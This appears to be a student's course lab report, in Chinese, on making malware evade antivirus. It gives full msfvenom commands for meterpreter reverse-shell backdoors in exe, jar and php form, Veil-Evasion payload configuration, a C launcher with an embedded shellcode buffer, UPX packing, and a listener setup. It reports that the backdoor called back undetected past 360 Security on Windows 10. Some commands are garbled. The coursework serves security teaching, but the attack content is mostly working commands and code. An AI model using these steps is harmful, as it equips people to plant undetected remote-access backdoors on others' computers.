20174323张加欣-Exp3 免杀原理与实践
1.实验内容及基础知识
1.1 实验内容
- 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
- 任务二:通过组合应用各种技术实现恶意代码免杀。
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
1.2 基础知识
恶意代码监测机制:
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- 启发式恶意软件检测:典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
免杀:
- 指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
2.任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
2.1 正确使用msf编码器,生成exe文件
- 在实验二中已经生成的后门程序 20174323_backdoor.exe ,使用 VirusTotal 这个网站进行扫描,扫描结果如下:
- 由此可见不加任何处理的后门程序能够被大多数杀软检测到,接着使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
- 生成一次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded1.exe
- 生成十次编码的后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.2.125 LPORT=4323 -f exe > encoded10.exe
- 由此可见,多次编码对于免杀没有太大的帮助。
2.2 msfvenom生成jar文件及其他文件
- 输入指令apt-get install ufw msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> 20174323jar.jar,生成jar文件。
- VirusTotal检测结果:
- 输入指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 x> dwt_backdoor.php,生成php文件。
- VirusTotal检测结果:
- 还可以生成jsp文件、apk文件等等...
2.3 使用veil-evasion生成后门程序及检测
- 使用,进行veil的安装。
- 安装成功
- 使用sudo运行veil,输入use evasion,命令进入veil-evasion。
- 输入指令
use c/meterpreter/rev_tcp.py
,进入配置界面。
- 输入 set LHOST 192.168.2.125,设置反弹连接IP地址。输入 set LPORT 4323,设置端口。
- 使用generate命令生成文件,接着输入生成的playload的名称
veil20175317
,保存路径为/var/lib/veil/output/source/veil20175317.exe
- VirusTotal检测结果:
2.4 使用C+shellcode编程生成后门程序
- 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.125 LPORT=4323 -f c,生成shellcode。
- 创建20174323.c,将buf添加到代码中。
ufwunsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x7a\x88" "\x68\x02\x00\x14\xc5\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
- 输入代码i686-w64-mingw32-g++ 20174323.c -o 20174323.exe,生成exe可执行文件。
- VirusTotal检测结果:
2.5 加壳工具
- 输入指令upx 20174323.exe -o 20174323pro.exe,对20174323.exe加壳。
- VirusTotal检测结果如下,可以发现加壳以后能够检测出的杀软少了。
- 使用实验二的方法测试,在 msfconsole 里监听本机端口号,反弹连接成功。
2.6 其他方法
- 采用Veil-Evasion的其他荷载生成后门方式
- 进入evasion,使用list查看可用的有效荷载:
- 我选择的是第32个荷载,是Python下shellcode在DES下加密一种。
- 输入option,查看有效荷载的选项。
- 修改用户名后使用
generate
生成,选择shellcode平台时选择2:msfvenom,payloads与IP、端口号使用tab自动获取。
- 输入生成文件的文件名,选择Py2Exe生成exe文件。
- 之后,生成的rc文件放入了路径
/var/lib/veil/output/handlers/
中,可执行文件放入了/var/lib/veil/output/source/
3.任务二:通过组合应用各种技术实现恶意代码免杀。
4.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
(任务二和任务三放在一起做)
- 使用Msfvenom生成raw格式的shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.145.128 lport=4323 -f raw -o 20174323.raw
- 打开msfconsole进行监听,输入以下指令:
use exploit/multi/handler //监听设置payload set payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload set LHOST 192.168.2.125 //Linux端的IP地址 set LPORT 4323 //与之前输入的端口号一致 exploit //开始监听
- 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20174323.raw
- 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20174323.raw通过检测。
- Windows版本:Windows 10;杀软:360安全卫士11.4.0.2003
5.基础问题回答
5.1 杀软是如何检测出恶意代码的?
- 特征代码法:该方法是目前杀毒工具中必备的组成部分。
- 校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。
- 行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。
5.2 免杀是做什么?
- 免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”。
5.3 免杀的基本方法有哪些?
- 采用不同的编码方式,或者编码次数。
- 对编码后生成的文件进行加壳,加压缩壳或者是加密壳。
- 还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤。
5.4 开启杀软能绝对防止电脑中恶意代码吗?
- 开启杀软并不能绝对防止电脑中恶意代码,不过及时更新杀软,少打开不安全的链接、少下载盗版软件,还是能大大降低中招的几率。
6.实验心得
这次的实验还是很有意思的(但是装veil的过程十分艰辛...),虽然对一些现有平台的依赖性很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全,所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。